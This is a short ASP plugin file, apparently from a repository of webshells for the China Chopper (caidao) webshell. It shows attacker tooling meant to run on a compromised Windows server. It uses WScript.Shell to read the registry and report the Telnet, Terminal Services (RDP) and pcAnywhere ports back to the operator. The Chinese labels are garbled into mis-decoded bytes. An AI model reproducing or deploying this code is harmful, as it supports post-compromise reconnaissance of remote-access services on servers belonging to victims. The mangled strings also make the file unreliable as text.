webshell/caidao-shell/caidao-plug/ASP读终端端口.ccc

13 lines
1.6 KiB
Text
Raw Normal View History

<EFBFBD><EFBFBD>Set wsh = Server.CreateObject("WScript.Shell")
Telnetkey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\TelnetPort"
TlntPort=Wsh.RegRead(TelnetKey)
if TlntPort="" Then Tlnt="23"
Response.Write "<li>Telnet<00>z<EFBFBD>S:"&Tlntport&chr(13)&chr(10)
TermKey="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber"
TermPort=Wsh.RegRead(TermKey)
If TermPort="" Then TermPort="<00>e<EFBFBD>l<EFBFBD><6C><EFBFBD>S.<00><>nx<6E><78>/f&T:NWindows ServerHr,g;N:g"&Tlntport&chr(13)&chr(10)
Response.Write "<li>Terminal Service<00>z<EFBFBD>S:N:"&TermPort&Tlntport&chr(13)&chr(10)
pcAnywhereKey="HKEY_LOCAL_MACHINE\SOFTWARE\Symantec\pcAnywhere\CurrentVersion\System\TCPIPDataPort"
PAWPort=Wsh.RegRead(pcAnywhereKey)
If PAWPort="" then PAWPort="<00>e<EFBFBD>l<EFBFBD><6C><EFBFBD>S.<00><>nx<6E><78>;N:g/f&T<>[ňpcAnywhere"&Tlntport&chr(13)&chr(10)
Response.Write "<li>PcAnywhere<00>z<EFBFBD>S:N:"&PAWPort&Tlntport&chr(13)&chr(10)